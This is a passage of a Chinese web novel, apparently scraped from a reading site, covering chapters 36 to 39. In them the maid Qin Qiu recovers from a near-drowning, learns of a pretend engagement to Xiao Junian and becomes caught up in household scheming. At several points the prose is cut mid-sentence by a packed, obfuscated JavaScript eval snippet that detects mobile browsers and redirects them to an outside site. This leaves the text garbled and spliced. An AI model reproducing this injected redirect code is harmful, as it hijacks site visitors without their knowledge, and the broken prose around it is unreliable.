若非那吴十娘此刻还昏睡不醒，刘母真想把此人轰出府去。只是，虞夫人还在，为免被说偏私，刘母只好开口问道：“举年，你有何说法？” 李氏早垂首退到一旁，听到刘母这么问，她想到在清渊阁时萧举年与她商量的说辞，心间又是惴惴。 萧举年抬眼，从容地回视问话之人，又瞟了一眼刘从俭，才沉声说道：“回老夫人的话，举年确有私心。我娘与秦婶早有口头之约，我和秦秋已定下了亲事。” 此话一出，当真是语惊四座！ 36. 第三十六章 秦秋是次日快到晌午才醒来的，她迷迷糊糊地睁开眼时，入眼处是自家那没上漆的房梁和灰蓝色的屋顶，去年六月被暴雨冲刷掉的那几块瓦是新补的，她还能认出来。 秦秋心想，看得这么清楚，是棺材板没给她盖严实吧！怎么没有哀乐呀，她溺死也算是横死，她爹娘也不舍得给她请两个和尚念经超度吗？灵堂也太静了些，一点儿哭声也无，她的小姐妹呢？怎不来祭奠她，忒无情了！舒姐儿呢？往日不是天天将“孝顺小姨”挂在嘴边的吗，怎不来为她摔丧驾灵？ 秦秋直勾勾地瞪着眼睛，撇撇嘴，心道，这可真是死不瞑目啊！她正兀自怨念满满，直至李氏的惊呼将她四处浮游的神智拉回—— “秋儿，你醒了？你这傻孩子，你吓死我了！你又不会水，你为何要逞能跳下去救人！这倒霉孩子，你真是急死我了！”李氏手里端着一个冒着热气的碗，见秦秋懵懂醒来，二话不说将碗一放，先抱着秦秋痛哭了一场。 秦秋这才骤然清醒，对了，自己没死！萧举年救了她来着！她不是躺在棺材里，她是在这家床上！当秦秋意识到这一点时，她也在李氏怀里哭了，喜极而泣。 李氏听到女儿的啜泣声，才含泪带笑地把她推开，伸手将先前的碗端过，道：“快趁热喝了，这是驱寒的药，我找千金堂的大夫开的。快，趁热喝！” 秦秋虽有一肚子的话想问，但是碗已经送到嘴边了，她只好先听话张嘴。等一碗苦药下肚，趁李氏往她嘴里塞杏干的功夫，她才噙着嘴里的果脯，口齿不清地问道：“娘，我怎么回家了？” 李氏这一天一夜，又急又忧又怒，此时见人醒了，肝火再也压抑不住地上涌，见秦秋一问，忍不住伸出手指，戳着她的额头骂道：“你还有脸问？我问你，你又不会水？你逞什么能啊？你知不知晓这个时节的湖水，冻也能把你冻死！但凡迟上片刻，你这条小命，你——” 李氏骂到这里，自己又气哭了，坐在床边直抹眼泪。 秦秋也委屈，她是最先猜出落水这事的，若说这事是冲她还罢，可这事跟她全无关系啊！若非得罪了二夫人，二夫人非要点她去湖边……若非青梧一个劲地往郭二姑娘身边凑……自己为什么得罪二夫人来着…… 秦秋真是越想越委屈，咕嚷道：“我不是自己跳下去的啊，是被那个虞家七娘扯下去的。” 李氏更气了，她也晓得，昨日郭云喧说秦秋救了她的话，多是为了说给老夫人听的，一想到自己女儿是被连累的，若是没有萧举年出手，这条小命可能昨日就还给阎王爷了！对了，萧举年！ 李氏强行止住了眼泪，道：“郭二姑娘说了，你是为了救她才掉下去的，她向老夫人求了恩典，准我将你接回来。你且安心在家住一段时日，唔，十天半月差不多吧，过了元宵再回去当差！” 因祸得福啊！秦秋喜不自胜，忙不迭地点头。 “唔，还有一事！”李氏见女儿已经开始傻乐，也不晓得萧举年那头对他父母和祖母交了多少底，这门亲事虽好，可前途未卜啊，李氏一叹，道，“你知道是谁救了你吗？” 秦秋不加多想，随口答道：“记得，是萧录事。萧录事真是个好人！回头咱们得备一份大大的谢礼。这银子……”秦秋想了想，还是没把自己那一百两给招出来，她讨好地看向李氏，未尽之语不明而喻：萧录事救了您女儿，送礼要不让我爹掏银子？ 李氏却是无心纠缠此事，见她还能记得人，多少松了一口气，继续说道：“四人落水，举年独救了你一人。” 秦秋听着李氏的称呼，心下直叹，果然是救命恩人的礼遇，她娘叫得够亲切！ “那位吴夫人质问举年，为何舍下三家千金，独救你一个丫鬟。老夫人虽未明说，但想必心里也是起疑的。” 真麻烦！离谁近就救谁呗，让她们跳进湖里试试！那么冷，谁还分得清小姐丫鬟啊，抓到哪个救哪个呀！秦秋撇撇嘴，摇头叹气。 “为了避免日后有人借此找你麻烦，也为了你二人的名声，举年昨日当着众人的面认了，你二人现在是定了亲事的！” 嗯，有道理！这般解释甚是合理！等等，定了亲？！ “什么？娘？我与他，我们，不是，定亲？”秦秋瞠目结舌。 秦秋的反应令李氏不满，她没好气地白她一眼，道：“你这什么脸色？怎么，还觉得人家辱没了你？” “不是，娘，”秦秋咽了口唾沫，“你说我与萧举年定亲了？旁人能信？” 李氏冷哼，道：“举年亲口说的，道是救你是为了私心，旁人为何不信？他为何不救府上的九姑娘？为何不救虞七娘和吴十娘？为何独独救你？再说了，你如今是凝晖轩的一等丫鬟，他又在大爷手底下做事，有哪里配不过？” 这话有理有据，秦秋竟难以反驳。 她脑中浮现出昨日的情形，唔，萧录事对她，昨日他好像确实挺紧张的。那时，他自己也冷得浑身在抖，抱着她狂奔时，感觉他胸口起伏得厉害。她记得自己意识不清时，他脸色难看得很。忆及此，秦秋心底泛起一小股暖流，陡然生了不少异样的情愫。 只是，没暖多久，她又想起一件要命的事，木槿姐姐！ 李氏见她才露出几分娇羞情态，嘴角又僵住了，遂不解地问：“怎的了？” 秦秋嘴角轻抽，道：“娘，你二人是昨日临时合谋吗？他祖母，就萧嬷嬷，能答应吗？他父母能答应吗？虽说他们家也是从府里脱籍出去的，可咱们家还没脱籍呢。” 秦秋的思虑，李氏怎会没想到。事实上，昨日萧举年提议时，她就道出了此番疑问，只是，李氏回想起昨日二人的对话，两家结亲是萧举年自己提的，如何说服长辈也是他自己亲口承诺的，想起昨日“准女婿”郑重的模样，李氏低头一笑。 笑了片刻，她才又伸出一手在秦秋的发顶摩挲，无限感慨：“我只是说与你听，回头可别说漏了嘴，否则，咱们两家就是联手诓骗老夫人和大爷，这可真是吃不了兜着走了！” “记住了，这亲事呢，是我和举年的娘口头定下的，之所以没张扬，是顾念着你年岁还小。好了，喝了药，你睡吧。我今日还有差事呢！”说完，不由分说地将秦秋放倒，又把被子仔仔细细地掖严实。 “娘——”秦秋伸手去抓李氏的衣袖，还待再问，手背却挨了李氏响亮的一记打。 李氏斥道：“老实点，受了寒可不是闹着玩的。睡吧！” 李氏刚斥责完这句，门外就响起了鹊儿的声音：“秦婶，秦秋姐姐醒了吗？我们来看她，呀，秦秋姐姐醒了！” 鹊儿和青梧手挽着手，一面说一面走，不等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846439|156001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人答话，已经跨过了门槛。 李氏笑着起身，道：“行，你们来得正好。我还有差事呢，累你们替我看她一会儿。灶上有煨着的鸡汤，她才吃了药，约莫两刻钟后，劳你们给她盛一碗。厨房里有今日才擀的面和刚蒸好的炊饼，茶水也是现成的，我就不跟你们客套了，你们自便。” 鹊儿忙笑着一一应下，李氏又回头嘱咐了秦秋两句，这才离了家门。 等李氏一走，鹊儿便拉着青梧挨着床沿坐了，兴奋地说个不住。 秦秋的枕头特意被垫高了，此时她虽躺着，但是看人也不累。眼前的两人，鹊儿的脸上是掩饰不住的高兴，青梧的脸上是愧疚和躲闪皆有。 秦秋对青梧的愧疚心知肚明，她也不开解，真该让青梧长长记性！毕竟二人如今同住一个屋檐下，青梧老是这么莽撞，顾前不顾后的，若是不改，昨日能连累她一回，明日就能连累第二回！ 于是，秦秋只淡淡地扫了一眼青梧，就转向鹊儿，道：“我落水了你怎这般高兴？” 鹊儿慌忙摆手，道：“姐姐别误会，我是为你醒来高兴！昨日可吓死我了，我见旁人顾不上，生怕姐姐吃亏，还是我去给秦婶报信的呢！” 秦秋心头一暖，忙向她道谢。 青梧更是坐立难安了，脸上胀得通红，支支吾吾地开口：“秦秋，对不住！昨日，昨日若不是我非拉着你往前挤，你也不会……对不住！你打我两下或骂我几句吧！” 秦秋似笑非笑地看着她，道：“打你有何用？打你还能换你替我躺着么？” 青梧更羞愧了，埋着头不敢则声。 鹊儿瞅瞅这个，又看看那个，忙笑着说道：“秦秋姐姐，我同你说，因着昨日你们落水，老夫人发了好大的脾气呢！连二夫人也受罚了！” “哦？”秦秋挑眉。 鹊儿脸上难掩兴奋之色，道：“老夫人夺了二夫人的管家权呢！打今儿起，就是三夫人管家了！你说是不是大好事？” 好事嘛，也没多好，顶多不算坏事吧！老夫人也不是为她出气才夺的权，说到底，不过是为了他们自己的颜面。刺史府大过年的请客吃酒，还没开席呢，后园就多了三个落汤鸡，若是二夫人还能毫发无损，刺史府日后在朗州城的交际圈子里还如何立足！这不过都是上头哄人的把戏，她们这些底下当差的，不被拿去歃血祭旗就好！ 秦秋笑了笑，道：“确实算是好事，以后咱们的日子应是能好过些。” “可不嘛！”鹊儿说道，“我和青梧姐姐从后门出府时，还碰见了三夫人身边的蓝桥，蓝桥姐姐还托我们给你带好呢！哎呀，瞧我，这是厨房六婶让我们带给你的山药糕，刚蒸出来的，快，趁热吃！” 青梧见状，赶紧说道：“我去厨房给你盛汤过来，刚好配着吃。”说完，生怕二人不让似的，慌慌张张地小跑了出去。 秦秋无奈地一叹。 二人喂秦秋喝了一碗汤、吃了几块糕，又陪着她说了一回闲话，直至秦秋再三催促她二人回去，她二人才迟迟起身。 青梧仍是满面惭色，一手揪着衣襟，扭捏说道：“我明日再来看你。我日后……定改了……再不莽撞了！日后，你的针线活，我都替你做了。” 话音刚落，门口就传来戏谑之声：“哟，青梧起这誓，可真难得！” 37. 第三十七章 三人齐齐扭头去看，门边俏生生地站着的，不是木槿又是谁！ 青梧面色微窘，秦秋觉得自己坏了人姻缘，只有鹊儿虽觉意外，却是笑得一脸真心，道道：“木槿姐姐，你走路怎么没声啊？姐姐来得正是时候，我们两个正要回去，你来了，秦秋姐姐就不会寂寞了！” “你倒是会使唤人！” 木槿含笑走进屋内，她身后还跟着一个和熙堂的小丫鬟、手上捧着两匹大红尺头，木槿示意她将东西放在炕床上，而后说道：“你跟她们一块儿回府吧，放你半个时辰假，自个儿四处逛逛去，自己估摸着时辰在院门口等我，去吧。” 那丫鬟一听，放下东西就欢欢喜喜地随青梧二人去了，转眼屋内就又只剩了两张脸四目相对。 木槿自顾自地在方才鹊儿所坐之处坐了，细细地打量了一回，才满意地颔首，道：“气色好多了！你是没瞧见，和熙堂现住着的那三个，脸色现在还白得跟鬼似的！你最是谨慎不过了，怎会掉进湖里？到底是谁在弄鬼？”昨日那套说辞，木槿显然半信半疑。 秦秋只得叹了一口气，将落水前发生的事尽数与木槿说了一遍，末了，又道：“她们三个怎么掉下去的，我还真是不知。我那时背对着她们，先是郭二姑娘喊了一声青梧，我跟着一块儿回头，然后她们三个就手牵着手落水了。”秦秋扁扁嘴，一脸无奈。 “我若是晓得她们因何落水，早就躲开了！不过，挺奇怪的……”按照自己的猜测，应该是郭二姑娘落水才对，可为何独独郭二姑娘无事呢？反倒是那个吴十娘自作自受！只是，一想到她娘告诉她的，是郭二姑娘将她带回清渊阁，又去老夫人面前替她求情，秦秋话到嘴边又掩下了。 “奇怪什么？”木槿皱眉。 秦秋摇头，道：“奇怪她们三个到底怎么了。”秦秋记得，若是自己没看错，在她回头的一瞬，吴十娘的姿势怪异得很，除此之外，她似乎还瞄到了一个一闪而过的人影。 木槿叹道：“好了好了，别想了。反正那吴十娘醒来之后已经认了，是她自己脚滑。如今，满府上下都晓得，你是跳湖救人。喏，那是两匹上好的红绢，老夫人赏你的，刚好给你缝嫁衣。” 木槿说完这句，秦秋唰的一下脸色通红。 木槿见状，笑意更深，道：“你倒是瞒得严实，连我也不说！不过，萧家确是一门好亲，府里多少人惦记呢，便宜你这小蹄子了！” 秦秋的愧疚愈发深了，她小心地觑着木槿的脸色，却不见什么异样，只好问道：“木槿姐姐，你……” 木槿不解地看向她，道：“我什么？” “你，不生气吗？”秦秋小声地问出口，问完，双手不忘提了提被子，整个人往里缩了缩，一副犯了大错的模样。 木槿纳闷，摇头笑道：“你把我弄糊涂了。” 秦秋抿了抿唇，才抬眼与木槿对视，轻声说道：“我与你说个秘密，其实那亲事，是因为昨日萧录事救了我，想到旁人会发难，他与我娘合谋胡诌的。” 木槿讶然，秦秋又道：“萧嬷嬷是和熙堂的老人，我早就猜到了，若是萧嬷嬷有意让萧录事与府中之人结亲，人选也定是会在和熙堂里面，和熙堂诸人，还有谁能比得过姐姐？所以，所以……”秦秋的声音又矮了下去，一双眼心虚地左右躲闪。 木槿哭笑不得，半晌才道：“所以我该生气你抢了这门亲事？傻子！”说完，伸出两手在秦秋的发顶乱揉一气，秦秋躲又没法躲，只得任她上下其手。 “诶，诶，诶，别动手啊！你这是趁人之危啊！” “嚷什么呢，你又不出门！” 二人厮闹了一阵，见秦秋不再那般绷着了，木槿才叹道：“我说呢，怎么打我进门起，你就一副做贼心虚的模样，原来是为这事啊！你傻不傻呀你，萧嬷嬷哪个月不往和熙堂去上三五回，她若有心结亲，我还能毫不知情？不过是几句捕风捉影的闲话，也值得我生气？你也太小瞧我了！” “再说了，昨日那位萧录事去燕语阁陈情时我也在，啧啧，他说救你是存了私心，你是没见着，他说这话时，那神情，那语气，啧！要说这是权宜之计，谁信呢，哄鬼呢！你也说了，和熙堂还有谁能比过我，我又不输你什么，犯得着看上一个心里装着别人的人？”说完，斜眼睨着秦秋。 秦秋就算枕头垫得再高，那也是躺着，气势上就输了一截，被木槿这么一说，她更羞愧了，忙讨好地嘿嘿笑了两声。 见秦秋心结解开，话又已说到这份上，木槿心下更觉好笑了，伸手向她腮上一拧，打趣道：“休想混弄过去，我还没审你呢，这萧录事也算是刺史府的红人，里里外外多少人盯着呢，怎他谁都不救，独独救你？你瞧着是个锯嘴葫芦老实样儿，何时跟他这样相熟了？” “我不知道啊！”秦秋红着脸，忙翻身向里，一手扯着被子往脸上盖，木槿笑着去抢，又将人扳了回来，二人又是一阵笑闹。 只笑着笑着，秦秋心里又升起一股隐隐的担忧。木槿已到婚配之龄，也不知老夫人到底想如何，心里这么想着，嘴上已不自觉地问了出来。 木槿垂眸浅笑，道：“行了，你且安心，我自有打算。你也不用瞎想旁的，老夫人总不会害我的。” 这可不一定呀！秦秋腹诽，可又不好出言反驳。木槿实是太信任老夫人了，她一片赤忱，绝不仅是把老夫人只当主子，可老夫人呢？ 秦秋想起大夫人在世时，好几次在凝晖轩的小书房，她曾听到大夫人感慨：“咱们这位老夫人，看着慈祥，待府中下人跟个活菩萨似的，可是心里最是自私不过。她心里头只装着两件事，一是她自己这一世的富贵荣华，二是她那三个儿子，旁人只要不触犯这两样，甭管如何行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岂料，刘从裕并不领情，只冷笑着说道：“你能有多少银子？还你赔我？不是说京里的事都替我打点好了吗？不是说年后听信吗？去年我给你的可是真金白银！我可听说，我兄长暗中在查去年的河道监修账册了！可别出了正月，你还得来求我保你性命！” 吴四郎擤鼻涕的动作一滞，转头看了一眼左右，心腹小厮会意，忙将几个小倌和舞姬带了出去。 刘从裕本是盘腿坐着，此时却支起一脚，一手撑在膝盖之上，似笑非笑地睨着对座之人。 吴四郎露出一个阴恻恻的笑来，只是配上他通红的鼻尖，显得分外滑稽。只听他从齿尖蹦出一句：“刘二，不知你家老夫人可能承受丧子之痛？” “我娘三个儿子四个孙子，少那么一个两个，有什么不能承受的！若是真承受不了，她想跟谁过，就跟谁呗！” 38. 第三十八章 秦秋是在初九这日见到萧举年的，彼时，她正独自一人抱着手炉在院内晒太阳。李氏怕她吹风再次受凉，千叮咛万嘱咐只允许在外面坐半个时辰。 秦秋躺在主屋门口的摇椅上，李氏临出门前在上面铺了一床旧棉褥，褥子被烘得暖暖的，秦秋躺得极为惬意，抱着手炉舒服地眯着眼，心思又飞到了全家脱籍这件事上。 她原本的打算是靠着立功求刺史大人开恩，毕竟她脑子里装的不仅有泽裳阁的账册，甚至还有刺史府所有的产业明细，只要刺史大人想彻查二房管家以来贪墨的银两，她定能立下头功。至于，与萧举年的亲事…… 秦秋双眼一亮，似乎赎身脱籍更容易了！老夫人和大人，总不能让自己顶着府里奴才的身份嫁进萧家吧，就算他们两家同意，朝廷还不同意呢！ 秦秋不禁咧嘴傻笑起来，叩门声便是此时响起的。 “有人在家吗？”一个脸生的丫鬟从外面探进半张脸，眼珠子在院内溜了半圈才看见屋檐下晒太阳的秦秋，她显然吃了一惊，脑袋猛地一缩，又退了出去。 秦秋只当是木槿或是府里哪个小姐妹打发人来送东西，她也懒怠动，只含笑答道：“自个儿进屋吧，我是病人，就不起身去迎了。” 话音才落，她家那有些掉漆的院门就被推开了半扇，还是方才那个丫鬟，只手上并未捧着东西。 奇怪，空手来的，莫非是特意打发个人来看她今日可好些？ 秦秋狐疑地扫了那人一眼，既是这样，怎不说话？正思索间，从墙外又转出一个人来，先前叩门的丫鬟忙闪身后退，秦秋认出了来人，正要起身，可瞧见对方的脸色，她又躺了回去。 大过年的，上门探病给谁摆脸色呢！再说了，她又不理亏，她哪里晓得她的好孙子为何跟她娘合谋出那主意！没有这婚事，那日她“救”了人，也能全身而退，有这婚事，只是洗脱了萧举年独独救她的嫌疑。可这嫌疑洗或不洗，她也不是很在乎啊！ 算了算了，到底是救命恩人的长辈！秦秋心底长叹一口气，换上笑脸，等人走近了才起身行礼，缓声说道：“萧嬷嬷过年好！您来得不巧，我娘和我爹这会儿都在府里当差呢。屋里请！”长辈不在家，要不您改日再来？秦秋嘴上说着，眉眼笑着，心里想着。 “不必了！我也要进府里给老夫人请安，听闻你落水，顺道过来说两句话就走。”萧嬷嬷亦是皮笑肉不笑。 好嘞！秦秋心里乐呵呵地答应一声，抬眼打量来人。啧啧，不愧是和熙堂的老人，又出府住了十来年，瞧瞧这打扮，也是个老封君一样了！那日宴席上的女眷，怕是差不多一半的人，衣着气度都不及这位萧嬷嬷。 萧嬷嬷也不动声色地打量着眼前人，就是为着这么个外貌平平无奇的丫头，家里鸡飞狗跳了一整日！从不忤逆自己的孙子，昨日愣是不肯松口。哼，眼前的人有什么好，比木槿差远了！ 萧嬷嬷鼻间溢出一声轻嗤，冷声问道：“你跟举年是何时相熟的？”她一问出口，便紧紧地盯着对方，岂料，对方脸上却一丝羞怯也无，仍是刚才那副客客气气的笑脸。 “嬷嬷误会了，我与萧录事不算太熟络，我只是听命办差，在外书房见过萧录事几回。” 萧嬷嬷脸色一沉，秦秋脸上笑意不减。 成！容貌虽比不过，性子还算沉稳。萧嬷嬷继续道：“想必你已听你娘说了，婚事只是权宜之计，我心中早有人选，举年他爹也另有打算，我一会儿就要去见老夫人，自会向老夫人请罪，这门亲事，你就不必放在心上了。” 呵，唬谁呢！若是萧举年那番说辞，只是当着老夫人和大人的面，反悔还好说，可她听说当时还有个虞夫人和吴夫人在呢！老夫人最好面子，就算萧嬷嬷再有脸面，此事也休想轻易揭过！ 秦秋生怕泄出太多笑意，只好垂着眼皮，貌恭色顺地答道：“是，嬷嬷请放心，但凭嬷嬷去老夫人那儿呈明原委。对了，还未谢过萧录事的救命之恩，为免加深误会，我就不登门道谢了，还请嬷嬷转致谢意。”说完，郑重其事地向萧嬷嬷行了一礼。 萧嬷嬷一噎，她心底忽然又不舒服了，怎的，脸上一丝惋惜也无，莫非她还看不上自己孙子？念及此，她越发没好声气，哼道：“阖府上下都已知晓这件事，若是解开了这桩误会，你日后怕是也不好说亲。娶你，你配不上，纳你，倒使得。” “呵，我哪儿配不上了？”老人家嘛，心里不痛快挤兑她两句，她无所谓，但是羞辱她，可就想多了！秦秋抬眼，眉目间已没了笑意。 “我孙儿是官身，你？”萧嬷嬷一面说着，一面不忘极其轻蔑地上下扫视秦秋一眼，她等着对方气急败坏，孙子不是夸她有气度吗，她倒要看看多沉得住气！ 岂料，秦秋只是平静地回视着她，片刻，竟又笑了，道：“怎么？萧嬷嬷也忘了自己的出身了？抑或是，怕萧录事娶了我，旁人想起萧家的出身？萧嬷嬷若是这么介意，自己寻个借口退亲便是，我又没有上赶着要嫁你们萧家。纳我？呵！我若想与人为妾，只怕你们家入不了我的眼！” 秦秋一气说完，还不忘补上数声冷笑，她的行事原则向来是“小杖受、大杖避”，哦，不对，这是对她爹娘，对外人，那向来是“大杖对着打，谁也别想好”。 候在院墙外的萧举年，脸色黑了又黑，他若再耽搁，只怕秦秋能自己想法子搅黄了这门亲事。 “祖母，您不是还要去给老夫人请安吗？误了时辰就不好了。孙儿送您！” 秦秋倒是没料到外面还躲着一人，骤然听见萧举年的声音，她心头闪过一丝慌乱，方才的话似乎有些伤人……不过，伤就伤了，是他们家先起的头。救命之恩是一回事，她好好答谢便是，可这亲事，也不是她死乞白赖上赶着求的，若是萧举年觉得自己言语不善，退亲便是。 这般一想，秦秋的那点子愧疚又没影儿了，她只是略有些不自在地别开眼，低头去看自己怀里的手炉。唔，竹编的，街头买的，十文钱一个。萧嬷嬷手里那个倒是挺精致，应当是老夫人赏的。 秦秋以为，萧举年说送人，应当是将人送进和熙堂，万没想到，萧举年只是将人送出院门，目送他祖母二人拐进了刺史府后门，自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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萧举年也转过脸去，四目相对的一瞬，萧举年只得认命地一叹，果然是自己喜欢的姑娘！ 秦秋再想不到，竟是萧举年先脸红！ 刹时，先前那场口角带来的不愉快也烟消云散了。 今日的太阳真是好，身上暖暖的。秦秋嘴角一弯，忽然开口：“为什么？” 萧举年刚含进一口茶，未防这么一问，立时被呛了一口，连连咳了几声，才脸色微红地说：“不为什么，救人是应当的。” “哦，我是问为什么撒谎骗老夫人和大人。”秦秋唇边笑意略深。 萧举年自然也看到了，他心底的快活泛到脸上，跟聪明人说话就是省力！他亦莞尔，道：“你猜呀！你不是算无遗策吗？” “我什么时候说我算无遗策了？我若算无遗策，那日就不会落水了！”秦秋白了对方一眼。 萧举年这才又想到正事，忧虑浮上心头，道：“对了，那日到底怎么回事？好端端的，你怎会落水呢？” 秦秋摇头，正要说话之际，院门再次被叩响了。 39. 第三十九章 萧举年立时正襟危坐，看向门响处。 秦秋倒是见怪不怪，心想这回该是探病的人了吧。她清清嗓子，依旧身形未动，只抬起脖子冲外喊道：“自个儿进来吧。” 寄竹推开半扇门，郭云喧对院中之景有些意外。她含笑看着二人，颔首说道：“是我来得不巧了。”嘴上说着不巧，人却径直跨过了门槛。 寄竹身边还跟着一个面生的丫鬟，两个人四双手皆是满满当当。 秦秋和萧举年见状，忙起身相迎。 郭云喧的不期而访，倒是让萧举年不好多待了。他只好托言公事，寒暄过后便匆匆离去。有寄竹在旁，也无需秦秋张罗茶水。不多时，秦秋身侧之人就换成了郭云喧。 寄竹将带来之物安放在屋内，又为郭云喧重新换了一张凳子、添上茶水，做完这些，她便领着另一个丫鬟极其有眼色地守在院门口，将院内留给二人说话。 秦秋依旧是拥着手炉、靠在摇椅之上，寄竹往外退时，她不动声色地瞟了一眼，心中愈发肯定那日自己看到的事。看来，自己还真是替人受罪了！ 郭云喧眉目舒展地笑看着她，道：“看你气色好多了，我这心里也略踏实了些！那黄色的包袱里是一副七剂驱寒的汤药，药材都是拣上好的抓的，无病也可强身，你记得让秦婶为你煎了。” 秦秋收敛了心神，于椅上欠身道谢。 郭云喧止住她，又道：“那日多亏了你，我才有所提防，否则，落水的便是我了！想必那吴四郎要救之人也不是府上的九姑娘了！” 秦秋没想到，郭云喧竟如此直白，直奔那日之事，她微感错愕地抬头看向对方，对方继续颔首说道：“你是受我连累才落水的，那时，我察觉吴十娘欲伸手抱我、将我推入湖中，是以我才忽然出声唤青梧，躲开了她的偷袭，却不妨累你被她们带入湖中。” 唔，自己果然没猜错，这也解释了吴十娘当时为何姿势怪异、呈双手合抱之势。秦秋点头自思道，这么说来，那个一闪而过的人影？她眼神微闪。 郭云喧却在此时端起手中茶盏，呷了一口，笑道：“没想到吴十娘自作自受，自己落了水。不过，于她也未必是坏事。” 原来如此，今日探病是来封口的！秦秋心下明了，眸光一转，一脸恍然地叹道：“竟是如此，可见是报应分明了！” 果然是聪明人！郭云喧满意地颔首，她早想过，最有可能看清寄竹动作的人，便是青梧和秦秋了。青梧那儿她已经试探过，青梧一直念着她先前相救之恩，自是信誓旦旦地赌咒发誓，至于秦秋嘛，她对秦秋可真没施过什么恩惠，此番还连累了对方…… 郭云喧见秦秋认可了此事，笑着将话锋一转，又道：“若无你出言示警在先，我也不能逃过她的毒手，这番救命之情，我记在心上了。日后，你若有何要我助你之事，尽管开口。” 秦秋正要开口客套两句，郭云喧又笑着补道：“便是想赎身脱籍，我也可助力几分。” 秦秋闻言，倒是一愣。 “这不难猜，你如此聪慧，在那府里岂不可惜？况如今，你与萧录事有婚姻之约，自立门户是必行之事。” 既如此，确是可以坦然受了。秦秋欣然道谢。 二人又痛痛快快地扯了一回闲话，郭云喧才告辞离去。 秦秋本想安安生生地晒会儿太阳，全没料到她娘给她定的半个时辰竟如此热闹。 等郭云喧主仆一走，秦秋也来了兴致，往日倒是小瞧了这位郭二姑娘！看着风吹就倒的美人儿，却在几次风浪中都站得稳稳的，二房夫妇的算盘落了空，有热闹可瞧了！ 秦秋幸灾乐祸地想了一回，才折身进屋去看郭云喧给她带来的谢礼。 二房这两日确实愁云惨雾，丫鬟仆妇人人自危。无他，谁都晓得二夫人被夺了管家权，这两日正房内就没有一件完好的器物。 岂止是丫鬟，就连东厢西厢的姬妾也都不敢喘气，生怕惹了那两位不痛快，又被借机磋磨一番。 “春雪姐姐，你害怕吗？” 厚重的大红毡帘垂在正房门口，密不透风。四人候在正房门外，即使隔了两层毡帘，仍能隐约听到东屋传来的争吵声和咒骂声。 刺史府爱惜名声，即使刻薄如二房，在这大冷的天儿，专打门帘的丫鬟也是可以候在屋内当差的，是春雪眼瞅着里头的夫妇两个又呛了起来，才特意把人带出门外。 在廊下吃些冷风，总好过在里头吃排揎。 那丫鬟问完这句话，又打了个寒噤。 春雪苦笑，怎会不害怕呢！腊月之后，二夫人的脾气一日坏过一日，有些时候投向自己的眼神阴森森的，她已经连着半个月不曾睡个好觉了。眼下二夫人又被夺了管家之权，这次，显然老夫人动了怒，没个三五月是不会好转的，三五月……这日子什么时候能捱到头！ “春雪姐姐！”那丫鬟低呼一声，轻扯春雪衣袖，示意里头的动静。 有脚步声！四人忙敛声屏气，听着那脚步声快到门口了，才由两人低眉垂眼地打起毡帘，另外两人垂头行礼。 刘从裕跨过门槛，头也不回地往外走，只是才下了两级台阶，又猛地回头，扫了春雪一眼。春雪察觉到对方不善的目光，始终不敢抬头。 好在，刘从裕只扫了一眼，就又迈步去了。 几乎是在他踏出院门的同时，春雪双膝一软。 “春雪姐姐！”身侧之人眼疾手快地扶住她，正要问候两句，东梢间就传出了郭氏的叫唤—— “春雪！进来——” 郭氏的声音尖细，不仅是春雪，旁人听了也都觉得毛骨悚然。春雪失笑，在旁人的搀扶下站直了身子，强行镇定下来，飞快地调换了神色，才举步迈向里间。 郭氏斜倚在坐榻之上，一手把玩着怀里的手炉，一手搁在茶几上头，两指提着茶盖，有一下没一下地碰着茶盏边沿，那一声接一声的脆响，敲得春雪的一颗心越发忐忑。 “二夫人，这茶凉了，容婢子为您换一杯。”春雪不敢抬眼与郭氏对视，将手伸向茶盏。 岂料，郭氏一把捉住春雪的手，惊呼：“哟，你手怎么这么凉！来，坐下，咱俩说会儿话！” 春雪的手指不自觉地一缩，想抽出被握住的手，可身子却不听使唤地被拉着往下，她只好强忍着心底的战栗，斜签着上身在暖榻边沿坐了，嘴里犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“别呀！我的春雪这般貌美温顺，又善解人意，西厢房那儿还空了一间屋子，不如你……” “二夫人开恩！求二夫人看在奴婢为您做牛做马的份上，二夫人，您放奴婢一条生路吧！”春雪磕头不已，连声音都走了调，染上了两分凄厉。 外间当差的丫鬟俱都悚然一惊。 郭氏伸手抬起她的下巴，春雪不敢挣扎。只见郭氏换上一副诧异神色，叹道：“唉，我就说嘛，你必是想出去的。可是要驳回二爷的话——”郭氏露出犯难的模样，忽然又双眼放光，道—— “春雪啊，你觉着木槿如何？” 春雪愣住了，张口欲言，却不知该说些什么。她看着郭氏，郭氏也看着她，轻轻地吐出一句：“西厢那间屋子，横竖是要进人的，依你二爷的意思，不是你，便只能是木槿了。春雪，我当然是想遂了你的愿，就看你怎么选了？嗯？” 刺史府里有人度日如年，刺史府外秦秋却是格外逍遥。 自她进府当差，正月里何曾闲过这么久，不仅带着进城拜年的外甥女痛痛快快地玩了两日，昨夜还正大光明地在萧举年的陪同下，上街赏了朗州城的花灯。 